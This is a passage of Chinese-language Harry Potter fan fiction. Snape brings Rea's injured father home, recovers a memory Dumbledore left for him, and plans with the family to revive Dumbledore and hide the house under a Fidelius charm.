蕾雅不敢有任何的迟疑,立刻侧身让出一条路,斯内普拖着雷格纳进了房间,她关上门,并施加了一道锁咒。 斯内普将雷格纳直接放在了沙发上,蕾雅跑了过去升起了壁炉,下一刻就抬手对斯内普和父亲施下干燥咒。 “教授,爸爸他……怎么了?”蕾雅被吓得不轻,颤抖的声音里满是焦急与恐惧。 斯内普正在给雷格纳解开外套,声音平白得没有一点起伏:“魔法部倒台了,他被审问了几个小时,因为之前在神秘司帮助过哈利·波特。他需要白鲜药水,缓和剂,补血剂,和无梦药水,有吗?” 果然是出事了。可恶的伏地魔。 “无梦药水没有,其他有。”蕾雅收回无用的怒气,转身径直快步朝书房走去。片刻之后,她带着三瓶药剂回到客厅,递给斯内普。 斯内普接过药剂时,蕾雅敏锐地观察到他的手臂轻微抖了一瞬,衣袖好像也有些破损。但斯内普迅速将手收回黑袍之中,掩饰得毫无破绽。 蕾雅把目光重新放在父亲身上,喃喃道:“他在发抖……看起来好难受。” “钻心剜骨咒,食死徒一贯伎俩。”斯内普正扶起雷格纳的下巴,把缓和剂与补血剂喂了进去。随着药剂的作用,雷格纳的呼吸逐渐变得平稳,原本不停发抖的身体也稍稍安定下来。 蕾雅这才稍微平复了一些心情,召来了一叠厚厚的毛巾,将其中一条递给了斯内普,自己则拿起另一条,跪在沙发前面开始仔细抹去擦拭雷格纳脸上身上的血污,问道:“那您是……?” 斯内普用毛巾擦着仍然潮湿的黑发,“我看着他倒在了魔法部门口,等到没人的时候才能带他回来。” “那,亚瑟先生呢?”蕾雅小心地继续手上的动作。 “真是令人意外,你还有余力关心别人父亲。”斯内普嘲讽了一句,慢悠悠地答道:“凤凰社的人都没事。” 蕾雅垂下头,以很轻的力度擦拭着父亲因痛苦而皱缩的脸。雷格纳的体温很高,眉毛都拧在了一起,平时温和微笑的嘴唇现在变得扭曲而无力。她眼眶一热,心也在钝痛,只能咬紧嘴唇努力稳住双手,生怕会弄疼他。 斯内普随手将毛巾搭在了蕾雅边上的沙发把手,习惯性冷眼看着一切。他的视线扫过蕾雅,她穿着的单薄纯白背心裙,长发温柔地搭在肩上,发丝之间的肩膀隐约透出一道浅红色的疤,脸上也有还没来得及淡去的一杠横线。 是那次的战斗,他明明控制过魔咒的力度了,还是留下了疤痕。 斯内普别过脸,餐桌上摆着加了保温咒的晚餐,角落里放着一架钢琴,茶几上堆着几本魔法书,然后他敏锐地捕捉到了熬制魔药的气味。 “你把格里莫广场的魔药工具都带过来了?” “是的,我有给卢平教授熬药。”蕾雅立刻答道,手上开始小心翼翼地翻找着父亲的伤口。她抬起头来望向斯内普:“爸爸受了伤?” “是,我来。”斯内普用魔咒将雷格纳漂浮起来,送他回了二楼的主卧室,然后为雷格纳用白鲜药水处理过身上的伤口,替他换过衣服。 “情况比我想象得好,大概不需要无梦药水了。再过几个小时他就会稳定下来。”斯内普撇了一眼靠在卧室门边上的蕾雅,“有些高热,毕竟淋了雨,明天再给他补血剂和提神剂。” 蕾雅望着雷格纳沉睡的模样,终于松了一口气:“好的。真的很谢谢您,教授。” “那么。”斯内普将卧室的门带上,大步越过她,准备下楼朝门口走去。 蕾雅小跑着跟上了他,就在斯内普的手快要放在大门的把手上的时候,她伸出一只手拦住了他:“请等等!” 斯内普的嘴唇微曲着,顿住了脚步,挑起一边的眉毛:“怎么了?” 蕾雅忐忑地凝视着斯内普的脸,目光又落在他的右手臂上,小声说道:“您……也受伤了。” “不用你操心,管好你自己家的事。”斯内普冷淡地白她一眼,再次迈开步。 少女不甘心地伸手揪住他的黑袍衣角:“我有东西要给您,是邓布利多要给您的,让我在那……以后交给您。” 这下,斯内普彻底停住,脸上变成一种不耐烦的晦暗:“那就快把它拿出来。” “那,请您先把伤治好。”蕾雅执着地摇了摇头。 斯内普脸色一沉,很快就因为她的话而变得愤怒,蕾雅慌忙补充道:“是您的记忆,很重要的记忆!” 她恳求般地凝视着他。斯内普乌青的眼底压抑着许多愠怒的痕迹,他绷着脸,沉默地盯了她一会儿。见到少女清澈的瞳仁里毫无退缩的意思,斯内普用力将衣角从她手里扯回,然后转身朝沙发的方向踱去,僵硬地坐下。 “等我。”蕾雅随即快步跑上了二楼,从床头柜中取出了那瓶装着斯内普记忆的玻璃瓶,将它揣到了背心裙的口袋里,之后快速地回到了客厅。 此时,斯内普正坐在壁炉前,慢条斯理地卷起了自己的右手袖管,他的左手里掂着刚刚给雷格纳用过的半瓶白鲜药水。 “让我来。”蕾雅走过去对他说,话语直接。 “不需要。”斯内普头也没抬起,声调冷漠。 不过蕾雅没有理他的抗议。 也许是因为在自己家里,她感觉有勇气对他强硬一点。又或许是,自从那天在医疗翼知道所有的真相以后,那种对斯内普为了赎罪近乎自我毁灭的愤怒感,在她内心深处堆积成了另一种同样强烈的情绪。 总之,蕾雅直接从斯内普手里拿走了白鲜药水,也没等斯内普可以做出反应,径自攥过了他的右手。 她单膝跪在斯内普的身旁,发现他身上的味道已不再是她熟悉的苦涩药味,而是陌生的、带着雨水清冷般的苦味。她没有多想,动作轻柔地将他的衣袖再卷高了一点,露出了他苍白小臂上那条长长的伤口。有些部分已经结痂了,但其他的还有血液在慢慢渗出,周边皮肉绽开而变得红肿,看起来十分疼。 “疼吗?这是怎么受伤的?”蕾雅低着头,抬手把垂下的长发随意地别到了耳后,一点点把白鲜药水洒在斯内普的手臂上,“食死徒跟魔法部的人打起来了吗?” 斯内普倒是懒得理她的这种执着,也好像根本感觉不到疼痛,随口应着:“如你所想,不过都是垂死挣扎。” 蕾雅指尖不时触碰到斯内普的皮肤,带来一种让他难以忍受的痒。斯内普突兀地想起来,就在那个被黑魔王惩罚过的晚上,他狼狈挣扎地回到办公室,也是她耐心处理了他的伤口。 那个时候,她的手是微凉的,在无际的黑暗里抚过他的额头。 他记得。 斯内普咽了咽喉咙,并不想回忆这种会令他心情起伏的片段。他错开目光去分散注意力,却又不小心扫见蕾雅脸颊上的那条淡淡的伤痕。 忽而,他的内心有了一股冲动,想要抚平那道疤痕。 他即刻被这个能震惊自己的愚蠢念头吓了一跳。他没有再看她,兀自转开了话题:“邓布利多留给我什么?” 蕾雅没有立刻回答斯内普,用魔杖轻轻扫过他手臂的伤口,确认伤口都愈合过后,她将他的衣袖放下,耐心地扣上扣子,又修复了破损的地方整理好。 她把白鲜药水搁到茶几上面,从裙子口袋里拿出那个细长的玻璃瓶子递给斯内普,说道:“我不知道,只有您能打开它。” 斯内普用左手接过瓶子,喉咙微微滚动了一下,端详着瓶口的那圈金丝,很确定是邓布利多亲自加上的锁。 他拿出魔杖,敲了敲瓶口将它破开。接着,他将瓶子里的那几缕银白色记忆挑起,缓缓送回自己的大脑里面。 下一个瞬间,他好像被无形的手压住一样,僵在了莱恩哈特家的沙发上。 斯内普感觉后背被烧掉正旺的壁炉烘得渗出大量的汗水,每一根毛细血管也都因此而被灌进了沸腾的岩浆那般热辣,整个人都恍惚到仿佛被卷进时间停止的漩涡。 这几缕记忆竟然是那晚跟邓布利多的对话,自己原来早就做出来了能够解除诅咒的药。而且,原来邓布利多也在为哈利·波特不可避免的死亡做补救措施。 ——邓布利多还能活下去。波特或许也有另一种结局。 ——还有,还有那些话。 “古老的魔法因你而生效。” “我感到抱歉。” “她一直为你努力着。” 起先,斯内普只觉得那原本积压在心中对邓布利多的怒意,变得荒唐可笑,尤其是在他意识到是自己主动要求抹去这些记忆时。 很快,邓布利多最后说的话变成一块落入水中的细小磷石,在他本该平静荒芜的心湖里激起千百道不断扩散、不断宽广的涟漪。 “……不可能。”斯内普暗自喃喃了一句,声音细微得难以听见。 蕾雅一直安静地跪在他的身侧,一脸困惑地打量着斯内普那张凝固住的脸。她的心里忐忑,不知道斯内普愿不愿意告诉她到底是什么事情,不过她的手上已随时做好了要抓住他的准备。 斯内普已无法看向她,他只想离开,他需要一个地方整理自己的思绪。 下一秒,斯内普的身体微微前倾,整个人像是要从沙发上站起来。就在他即将起身的那一瞬间,蕾雅迅速站起,用力按住了他的肩膀,将斯内普硬生生地按回了沙发。 “告诉我。”她低下身来,用身体的重量压住斯内普的肩膀,长长的黑发随着她的动作垂落下来,扫过他的胸口:“告诉我,不然别想离开我家。” “跟你没关系。”斯内普颦蹙着眉,冷冰冰地拒绝道。她身上那种淡淡的花香气味混合着雨夜的湿气,令他烦躁。他眯起眼睛,不动声色地看向一侧,眼神疏远得仿佛不认识她,嘴唇也抿得紧紧的。 “别再想一个人抗下所有了,教授!”蕾雅有些生气,她瞪着面前这个执拗的黑发巫师,加重了些语气说道:“邓布利多校长身边至少有您,那您呢?现在凤凰社跟您已决裂了,如果邓布利多校长是交给了您什么任务,请告诉我,让我帮您!” ——“她一直为你努力着。” ——“那我相信在这件事上,她同样可以帮你。” 原来这个算尽一切的老巫师早就计划好了。 但是邓布利多到底是怎么选中她的? “放手,我不需要。”斯内普下意识地躲避着蕾雅。他思虑了几秒,右手 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外面的雨依然下得猛烈,窗户被凿出了吵杂沉重的敲击声。斯内普整个人顺着她的力气陷在沙发里面,他缓缓闭上了眼睛,感到喉咙一阵紧缩。 被涟漪破开的内心确实在动摇,但是顷刻间,在那深暗的水底里有随之加剧的沉重与痛苦,如河砂般层层叠叠垒砌。 为什么痛苦? 我为什么而痛苦?我是在害怕失去什么吗? 斯内普绝望不已地询问自己。 但那里只有一片徒然无光的墨黑,没有答案——抑或是说他不想要那个答案。 须臾,他举起手握住了她的手腕,准备用尽全身的力气将她推开。 就在这时候,一声很剧烈的木门撞墙声从二楼突然响起—— “杀人凶手!离我女儿远一点!!” 是雷格纳,正摇摇晃晃地靠在二楼的栏杆上,手里举着魔杖,张大嘴愤怒而惊恐地看着沙发上的一幕。 这个场景有多诡异呢,自己的女儿穿着白色的薄纱背心长裙,被身后壁炉的光投映出一个纤细的身影,她柔顺的黑发大片落在男人的胸前,而这个男人自然端正地坐在自家的沙发上面,眼神淡然地盯住自己的女儿,双手正按在她的双臂上。 两个人的距离近到雷格纳在房间这一头都感到难堪。更别提,这个男人,不仅是她的教授,更是那个亲手杀死邓布利多的凶手。 蕾雅猛地抬起头,惊讶地对上了雷格纳魔杖尖端闪烁着的红光,那光映照在他金色的头发上,让雷格纳显得更加虚弱不堪。 她连忙侧身挡在斯内普前面,大声喊道:“爸爸!你冷静点!等下伤口长不好了!” “冷静?!你让我怎么冷静!”雷格纳手里的魔杖又紧了紧,红光更加耀眼艳丽:“斯内普,马上放开我女儿!!” 斯内普慢慢松开手,双手举在半空中,头朝雷格纳的方向转过去,脸色难看得可怕。 他压着声音讥讽地说道:“我非常同意您女儿的说法。而且,如您所见,是她在用魔杖指着我的喉咙。” 雷格纳紧咬着牙,魔杖里的光仿佛下一秒就能迸发溅出。他气到哆嗦的语气里宛如有阵阵滚雷:“你想对她做什么?!我也许没法把你交给魔法部,但我也不会让你活着走出我家!让开,蕾雅!” 斯内普勾了勾嘴唇,不为所动地向后靠到沙发上。 “放下魔杖听我说!爸爸!”蕾雅大吼着,通红的眼睛瞪得圆圆的,“是他救了你!他是邓布利多的人!从头到尾都是!!” “你在说什么啊蕾雅,你中了他的夺魂咒了吗?是他杀了邓布利多!”雷格纳无法相信的女儿竟然会为斯内普辩护,本就煞白的脸因为吃惊和失血而愈发的白,身体激动得开始咳嗽起来。 “爸爸,他救了你!是他把你带回来的!”蕾雅的头在父亲和斯内普之间来回移动,一时之间不知道是该过去搀扶父亲,还是该继续按着斯内普不让他逃跑。 她确实很害怕斯内普又会消失在她的面前。 “不可能!我不会再相信他!”雷格纳怒不可遏地喊道。 斯内普的眼睛在这两父女之间徘徊了数秒,感觉头也变得很痛。他心里那种对格兰芬多学院的天然不适感渐渐变得巨大,真的,格兰芬多加上格兰芬多,永远是无脑莽撞话说不清楚。 终于,就在这种无用的对峙里,就在斯内普感觉快被莱恩哈特家的壁炉烤干之前,他眯了眯眼睛,宛如溺水者被救起后那样重重地喘了一口气。随后,脑中同时冒出了一个想法。 算了……也许,她说得对。 斯内普再次迟缓地转向雷格纳,语调低沉得如外面无情落下的暴雨:“听着,莱恩哈特先生。邓布利多或许没有死,一切都是我跟他的计划。” 室内突然陷入一片寂静,只有雨声不知疲惫地敲击着屋顶。 “什么?!”果然不愧是父女,雷格纳与蕾雅的惊呼几乎如出一辙。 蕾雅吓得将手上抵着斯内普脖间的魔杖又紧了几分,她死死盯着斯内普,仿佛害怕听错了什么般:“教授,麻烦您再说一遍?” 斯内普冷冷地回望她,不耐烦地重复道:“邓布利多或许没有死。魔药也许成功了,我会解释,能麻烦你把魔杖拿开吗。” 怎么可能?怎么可能?怎么可能? 斯内普的魔药成功了?他的努力并不是白费的?啊——梅林的裤子啊! 蕾雅端详着斯内普的脸,确实看见了他的严肃和凝重。她犹豫片刻,终于放下了魔杖,但还是谨慎地观察着斯内普,生怕他会趁机溜走。还好,他的肢体语言没有表达出那种意愿。 这个时候,雷格纳踉踉跄跄地走下楼梯,同样不可置信地注视着斯内普。蕾雅快跑过去扶住父亲,也顺便控制住父亲马上就要揪起斯内普的怒气,将他安置在了壁炉左侧的沙发上。 紧接着,蕾雅给他们两个人各倒了一杯热茶。而后,三个人陷入奇怪的沉默,是各自都在努力地整理出一个对现状比较合理的解释。 斯内普伸展着因为被少女魔杖抵住而变得僵硬的身体,盯着壁炉里的火焰变幻出的好几种旖旎形状。略一踌躇,他还是抬起了魔杖将壁炉的火焰熄灭。虽然身为一个客人,这一举动显得多少会不得体,但他确实热得难以忍受。 壁炉的光亮渐渐消失了,莱恩哈特父女缓过神,呆然地一同望着这位端着茶杯的黑发巫师。 “所以,斯内普教授……呃,先生?你是邓布利多安插在神秘人那边的?杀死邓布利多,是为了彻底获得神秘人的信任?”终于,雷格纳干巴巴地开口道,忽略掉一旁自己女儿脸上那种“我早就告诉过你他是好人”的表情。 “是,叫我西弗勒斯就行。”斯内普抿了一口热茶,简短地应着雷格纳。随后,他将一条腿搭在另一条腿上,调整了下坐姿,清了清嗓子平静地解释道:“莱恩哈特,刚刚你给我的记忆是我和邓布利多的最后一次对话。在邓布利多死之前,我把做好的解咒魔药交给了他。为了不干扰我杀死他的计划,我让他把那段记忆从我脑中取走。” “什……么??”蕾雅张大了嘴,以难以言喻的表情说道:“也就是说,邓布利多先生现在在坟墓里……活着?” 斯内普差点被她的话呛到,忍不住抽动嘴角,有些别扭地答:“如果他没有喝下我的药,那他确实死了。但如果他喝了,我还需要给他服下复苏的解药。他会有一段很长的恢复期,可能几个月,甚至一年以上。” 雷格纳的双手交叉放在腿上,拇指交叠在一起,关节按得发白,是他一贯开始思考的姿势。片刻,他抬起头凝视着斯内普:“我认为,如果他选择了将记忆留给你,这就意味着他会喝下了药,不对吗?” “显然。” “那么,你打算怎么做?”雷格纳问道。 “如果这样,邓布利多会需要一个场所来恢复。现在,我很难说我能给他找到一个这样的地方。我当然不能把他送回凤凰社,这样做过于冒险,邓布利多所有的计划都会接连曝光,包括我的身份。”斯内普顿了顿,放下了茶杯,尖酸辛辣地扯出一个冷笑:“也许只能让他先委屈在坟墓里了。” 蕾雅讶异地张了张嘴:“这……好吗?” 雷格纳是不太在意斯内普那些怪诞的措辞,他揉着还在发烫的额角,继而冷静地分析道:“所以,你需要一个与霍格沃茨、凤凰社、神秘人、魔法部有关的人都难以想到的安全场所。” “没错。”斯内普立即回答。 又是一阵沉默,早就过了睡觉时间的蕾雅,现在是处于大脑过载的状态。她呆呆地缩在斯内普旁边的沙发上,左右望着父亲和斯内普陷入沉思的样子。 雷格纳突然像是意识到了什么,他摊开了双手,橄榄绿色的眼睛飞快地移向斯内普:“你觉得这里怎么样。我虽然不是凤凰社的一员,但我曾答应过邓布利多,只要我尽得上力的地方,我都会帮忙。我愿意让这场战争多一个胜算,至少,我想让它早点结束。” 蕾雅惊讶地望向父亲,是难以相信一向不愿意参与进这些事情的父亲,竟然会主动提出这种建议。 斯内普早就在等这个答案。他敛住了眼色,郑重地看向雷格纳:“是个办法,但这样一来,这栋房子或许需要一重赤胆忠心咒。” 雷格纳微微扬起下巴,眯着眼睛抬起一只手摸着胡渣,琢磨道:“你说得对,至于保密人……” “我。”斯内普简洁地说。 夜里两点,大雨的声音终于弱了下去。蕾雅困倦地跟两位男巫一起在自家的茶几上,布置了这道复杂的咒语。 在灿烂明亮得宛如鎏金余晖般的魔法光芒见证下,西弗勒斯·斯内普正式成为莱恩哈特家的保密人。不过,他说挖邓布利多坟墓这件事还要从长计划,至少他要先摸清楚黑魔王的意图,并且将复苏魔药的材料找全。 雨停了,蕾雅怂恿着雷格纳回到卧室以后,就将斯内普送出自己家大门。 彼时,云层散了,空气里都是一种潮润的泥土味,刚刚被雨洗净的天穹显得格外透亮,有零星几颗星辰固执地缀在上面闪烁着熹微的光辉。 “教授,今天真的很谢谢您,您……什么时候再来?”蕾雅跟在斯内普的后面,送他走出自己家的小花园。 斯内普的脚步稍稍顿住,没有回头,语气平淡地说道:“等都计划好了。” 一起往前走了两步,斯内普又停了下来:“还有,别那样叫我,我已经不是你的教授。” 蕾雅显然没考虑过这个问题。 “那……” 叫他什么好呢?先生?斯内普先生?这听起来过分生疏到她并不是很乐意。 蕾雅轻轻摸着自己的鼻尖,发现自己困顿到空白的脑海里,已然不能再挖掘出更多的思绪。她抬眸凝视着他棱角分明的侧脸,脱口而出道:“西弗勒斯?” 斯内普整个人都怔住了一刻。 蕾雅的脸倏地变得滚烫。她慌乱地捂住嘴,呢喃着:“呃,抱、抱歉。” 他才稍稍偏过头,黑眸斜向她:“回去睡觉。” 随即,消失在了空气里。 45. 靠近 离霍格沃茨秋季学期开学只剩五天,斯内普一直没有再来过。 魔法部彻底倒台,食死徒几乎掌管了整个魔法界。不仅针对麻瓜出生的巫师实施“麻瓜出身登记”的政策,他们还频繁闯进每一个与凤凰社成员相关人的家里,用钻心剜骨咒逼问哈利·波特的下落。 更令人无语的是,《预言家日报》指认哈利·波特是邓布利多之死的最大嫌疑人,称他为“满口谎言的男孩”。报纸上写到,当时天文塔上确实只有他和邓布利多二人,哈利·波特却因平时的恨意,故意指认斯内普教授为凶手。而后者,刚刚因出色的教学经验而被魔法部任命为霍格沃茨校长,就登载在今天的头条。 蕾雅将报纸推开,心情复杂。之前的担心确实成真,伏地魔统治了魔法界,一时间,再也没有东西能阻拦这位恶魔。 她不由地为哈利的行踪而担心,虽然她知道凤凰社会暗中帮助他,赫敏和罗恩也会守在他身边。同时,斯内普接任校长的消息让她产生细微的安心感,这至少意味着霍格沃茨不会停办,而拥有更大权力的斯内普,也能在幕后更好保护学生。就像他曾答应过邓布利多的那样。 如此一来,父亲或许会允许她回去。 边想着,蕾雅歪了歪脑袋,起身走出大门透气。 正是下午五点,夏末的阳光不再那么灼热,从道路远方的地平线方向照来一束暖光,斜斜地洒在花园里。几近凋谢的绣球花上面,褪了色的花瓣被染上薄凉透明的金黄,透出些许慵懒而颓败的美感。 蕾雅给它们洒了一些水,放下喷壶以后伸了一个懒腰,转身坐在一侧的小秋千上面,摇晃着看挂在灌木枝丫上随风飘扬的格兰芬多围巾发呆。 莱恩哈特家位于伦敦一处稍稍偏远的麻瓜住宅区。街道整洁有序,道路两旁都是齐整的古朴红砖房屋,每一户的门口都是细心装点布置的庭院。这个时间段几乎不会有人活跃在这片区域,整个社区都沉寂在金暖的夕阳里。 所以,幻影移形的声音就显得分外地突兀—— 蕾雅被这种爆裂的声音吓了一跳,在秋千上倏地抬起头,就看见斯内普提着一个墨黑色的手提箱,面无表情地站在她家门口,黑袍还在因为幻影移形的引力而摆动着。 她赶紧跳下秋千,跑过去拉开花园铁门,迎着他轻轻笑道:“您来啦,下午好。” “嗯。”斯内普撇了她一眼,脸上依旧是那种习惯性的阴沉。明亮的落日光线吻在他脸上,反而让他看起来更加疲惫而黯淡。 当然,刚刚当上校长肯定有许许多多的琐事需要烦恼。更不要说,他的顶头上司已不再是邓布利多,而是伏地魔。 “您还好吗?那边情况怎么样?”蕾雅抬头问他。 “不能更糟糕。”斯内普也看向她,问道:“你父亲在?” “还没下班呢。”蕾雅领着他走进屋子,“估计再过一阵就回来。” 蕾雅知道,在那次的审问里,食死徒知道雷格纳并非凤凰社的人。随后,他们将他调了职,从神秘司司长手上的得力助手一路跌到了最底下整理魔法界各种资料的一介文员。 雷格纳倒是完全不在意任何在魔法部发生的事,因为在那一晚后,他的心思彻底摆在与斯内普合作将邓布利多唤醒这件事上。当然,为了保险起见,他还努力捡起了许多年不曾练习过的大脑封闭术。 此时,斯内普的目光不自觉地落在面前轻轻掠过她小腿的白色裙摆上。只见她将鞋子脱在了玄关,然后光脚踩进了屋内。斯内普收回刚要踩进室内的脚步,略一踌躇,也把鞋子脱在了玄关。 蕾雅听见声音,好奇地回过头来。只看了一眼就慌忙从鞋柜翻出一双客人用的拖鞋,放在斯内普的身前,小声说道:“您可以不用脱鞋的。” 斯内普快速地睨了一眼她的脚,露出一个十分古怪的表情,“我还以为,光脚是你们家的传统。” 蕾雅被他的话逗笑了,皱了皱鼻子,不好意思接话,默默地看斯内普穿上拖鞋走进屋内。 离开了霍格沃茨以后,斯内普身上那种恐怖逼人的教授气场好像变得没那么强了。然而,当这样日常的场景在她面前展开,依然令她有些无所适从。她从没想过,斯内普会显得如此……普通而日常。 蕾雅移开视线,带着他往客厅里面走,不经意间扫到了茶几上的《预言家日报》头条,她随口一问:“您现在是校长啦?” “并非我乐意。”斯内普冷冷地答她,“所以,在这里不要叫我校长,我先警告你。” “唔。”看到斯内普的脸色依旧黑沉,似乎不想多谈这个话题,她连忙改口:“所以……是要开始那个计划了吗?” “我先准备魔药,等你父亲回来,再商量细节。或许今晚就能开始。”斯内普说着跟她走到沙发前面,却好像并不打算坐下。 “您现在就要准备魔药了?那我带您去书房。”蕾雅了然地带着他走进书房。 “如果今天就行动,这个药估计得熬制一整个晚上。”斯内普边说着,边将手提箱放在书房地上。 “一整个晚上!”蕾雅惊讶地回头,突然意识过来他话里的意思:“那……您要留在这过夜吗?” 这个话怎么听起来这么奇怪。蕾雅后知后觉地红起了脸。 斯内普的嘴难堪地微曲一下,旋即扯出一个讥讽的弧度:“怎么?既然已经决定将邓布利多放在这里,我还以为你早就做好心理准备我会常出现在你家。” “啊……我不是……”没做好心理准备。蕾雅红着脸把话掐断,轻微地摇了摇头。 蕾雅心里知道自己根本就是想多见他,只是没想到斯内普会留在她家过夜。 这不仅让她感到有些意外,心里还难以自控地涌出大片过分暖的欣喜感。甚至有一种深远宇宙中的那颗眺望许久明星,忽而落到她身边的错觉。 斯内普没有再回应她,沉默着走向书桌,仔细清点起蕾雅从格里莫广场带过来的器具。他伸手翻动着木箱子里的魔药材料,不时捻起一些粉末。检查了一阵,斯内普将材料都拢了回去,轻轻拍落指尖上的粉末。随后,他用魔杖指挥着墨黑色的手提箱打开,将里面的几份材料都一一摆在桌上。 蕾雅看着他的一系列动作,忍不住好奇地探头望向手提箱。里面满是她只在书上见过的昂贵材料,尤其是那瓶几乎天价的威尔士绿龙血。她忍不住开口:“这些……都是您的收藏?” 斯内普扫了她一眼:“你以为邓布利多会慷慨到拨款购买这些并非教学所需的东西?” 蕾雅笑了笑,想到斯拉格霍恩也总是被昂贵的东西围绕着,忽而开始觉得魔药大师可能都是那种特别富有的存在。 但如果是这样的话,那斯内普未免也太低调。他长年累月都穿着一样的简朴黑袍,办公室和卧室里搁着的用品少到只满足最低要求的程度。 如此看来,他的钱要么是在妖精银行里堆成金色小山,要么,就都在这个手提箱里。 “如果你没打算帮忙。”斯内普以寒冷到八月也能吹雪程度的语气打断她的思绪,斜眼看她,“那就去忙你自己的事。” “那让我帮您!”蕾雅赶紧应道,快步走到他身旁。 “现在不用。”斯内普头也没回,简洁地说到。他正挽起袖口,把几块日光石放在砧板上,用魔杖破碎成块,准备将他们磨成粉末。 原来整套话下来的意思就是让她马上出去,绕了一圈也不过是因为这在她家而不是他的办公室,他故意委婉了些。不愧是一贯辛辣讽刺拐弯抹角的言语大师。 蕾雅识趣地后退几步,转过身,“那……书房就随您使用。我去给您倒杯水,您要咖啡还是茶?” “随意。” 等蕾雅离开以后,斯内普这才从日光石块里抬起头,开始打量莱恩哈特家的书房。 其实刚走进来的时候,他就被这满满的书墙吸引住了。莱恩哈特家的藏书不比他在蜘蛛尾巷的少,架子上塞满了书,他一眼就看出了很多是关于黑魔法和防御术的研究,另外还有大量世界各地的历史文化书籍。 而面前书桌一侧的角落,竟然放着一台麻瓜电脑,旁边整齐叠着许多以潦草字迹订正过的论文手稿。他身后靠着门口的位置,浅白色地毯上放着小而舒适的绒布沙发,角落里的圆高桌紧挨着一张软垫扶手椅。 斯内普继续专注手上枯燥的动作。凝视着手里逐渐变成小块的日光石,他突然想起来当初她说自己从未想过是否要成为一名巫师的那些话语。 以她的家庭条件,成为一名巫师确实不是必须的选择,她完全可以在麻瓜世界过得很好。想到这里,斯内普更加不明白她到底为什么要掺和进来,明明躲起来直到战争结束,或者干脆退出魔法界,也都是更加聪明稳妥的办法。 不过,他兀自停顿一拍,这样一来也许就浪费了她的天赋。 ……但为了保证安全,这点可惜倒也不算什么。他暗自想到。 斯内普下意识侧过脸,正好看见蕾雅捧着一只小碟子走进来。她没有打扰他,安静地将碟子放在离他稍远的地方,是怕干扰到他处理材料。 伯爵红茶的香气缓缓萦绕在房间里,他瞥了一眼,那精致的白瓷茶具上镶着金丝,碟边印着一圈红色狮子纹样,茶杯旁静静躺着几块焦糖饼干。 刚离开房间,蕾雅又好像想起什么,半个身子探了回来,小声唤他:“教……先生?” 斯内普闻声转过头,只见到从门后面探出半个小脑袋。 “牛排您喜欢吃几成熟的呀?”蕾雅轻快地问道。 斯内普脸色瞬间沉了下来,直直地盯着她,愣住了。 她问得如此轻松,仿佛是一件平常的小事。 但对斯内普来说,这是个陌生的问题。因为除了极少数几次不得不去酒馆的应酬,他从未被人问过这种问题。 更令他困扰的是,他这几十年真的从没有思考过“喜欢吃”或者“不喜欢吃”这种细枝末节到浪费时间的事情。 “随便。”斯内普板着脸转回头,以魔杖指挥着手里已经破开的日光石一点点落入研钵。 “五成?”她试探地问。 “可以。”他平淡地答。 “那,您有什么不能吃或者讨厌的食物?”蕾雅眨了眨眼睛,朝他的背影追问道。 “没有。” “好。”蕾雅再次跑开。 过了一会,厨房里传来安静而有序的切菜声,紧接着,一股芹菜的清香飘进了书房。 斯内普听着对于大多数人来说寻常的声音,却感觉像是有一点点浅浅浸没胸膛的温水,让他恍惚到忘记手上的事情。 这种声音对他来说,确实是过于不适应。就是小时候在家,每次母亲在厨房忙碌时,也总会伴随着与父亲无穷无尽的争吵和摔砸声。 斯内普蹙起了眉,挥挥手中的魔杖,将书房的门轻轻关紧。 雷格纳在五点四十五分的时候回了家,但不是从壁炉里。由于职位的变化,接入魔法部飞路网的权利也被夺去了。 斯内普很快就听见这对笨蛋父女在外面寒暄一阵,而后就有一阵脚步声朝自己靠近。 就在敲门声响起前的片刻,斯内普放下手上的工作,迅速走到门口,冷冷地拉开了门。 “莱恩哈特先生。”斯内普的声音冷淡,眼神毫无波动,简单地打了个招呼。 “许久不见,”雷格纳点了点头,“现在该称呼您为斯内普校长了吧?” “西弗勒斯。”斯内普眯起眼睛纠正着,显然是对校长这个称呼不太喜欢。 “那么,请称呼我雷格纳吧。”雷格纳露出一个 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也幸好,可口的食物最终也还是让这位巫师放松了些。斯内普低下头,把手上的那块煎得正好的牛排切开,蘸上一旁的黑椒汁放到嘴里。他很快又切了一块,接着不动声色地拿起的芹菜奶油汤,还有羽衣甘蓝沙拉。 奇怪,明明是普通平常的食物。手艺也远远不如霍格沃茨的家养精灵。 怎么……? 等他回过神来的时候,盘里的食物已经不剩多少,而对面的少女眼里有藏不住的满意。 斯内普别过脸,雷格纳正在用餐巾轻轻擦拭嘴角,察觉到他的目光,便把话锋一转,正式进入正题:“那么,我们今晚行动?” “越早越好。”斯内普坐直了点,放下刀叉端起香草茶小口漱去嘴里黑椒汁的浓味,平静地说:“三天前,他来了霍格沃茨。” “他?”蕾雅讶异地问。 “神秘人。”雷格纳侧过头解释,好奇地问道:“他去霍格沃茨做什么?” “虽然他把我支开,但我十分肯定他去了邓布利多的坟墓。”斯内普顿了顿,“我后来去检查坟墓,发现它被打开过,邓布利多的魔杖不见了。” “邓布利多先生的魔杖不见了?您怎么知道?”蕾雅更困惑。 “巫师一般会跟生前使用的魔杖一起下葬。”雷格纳再次解释道,不过自己女儿不清楚这件事也很正常。 而后,雷格纳转向斯内普:“所以,他拿走了邓布利多的魔杖?为什么?” “我不清楚,但他一直在寻找一根可以战胜哈利·波特的魔杖。因为他自己的魔杖与波特的是孪生杖芯,无法击败对方。……也许他是认为邓布利多的魔杖比其他魔杖更强大。”斯内普说。 “原来如此。那邓布利多的……呃,躯体情况怎么样。”雷格纳紧张地问。 斯内普紧了紧喉咙,声音略微低沉,“万幸,没有被他破坏。但是情况不太妙,还是尽早行动为宜。”他停顿了一下,“按我的判断,邓布利多在死亡前恐怕还遭受了其他诅咒的伤害。” “那晚,邓布利多校长跟哈利出去了。”蕾雅补充一句。 斯内普因蕾雅的话而陷入思考,很快就意识到邓布利多那晚应该是带着哈利·波特去寻找魂器。毕竟,邓布利多一整个学期的奔波都是围绕着这一件事。斯内普斟酌一阵,决定还是将一些真相告诉他们,至少,他可以获取到黑魔法领域专家雷格纳的帮助。 于是,斯内普接着说,“也许是去找魂器。” “魂器?!”餐桌上的雷格纳猛地大惊一声,眉头也立即拧了起来:“怎么会出现这么危险罪恶的词。” 蕾雅看向自己的父亲:“所以……魂器是什么?” 就在雷格纳准备解释的时候,斯内普抬了抬手打断了他,随即把伏地魔以及魂器的事简单解释了一遍。 蕾雅反应过来,试图从斯内普口中问出更多的情报,“所以……哈利现在在逃亡的过程中继续寻找剩下的魂器?” “据我所知是这样。” 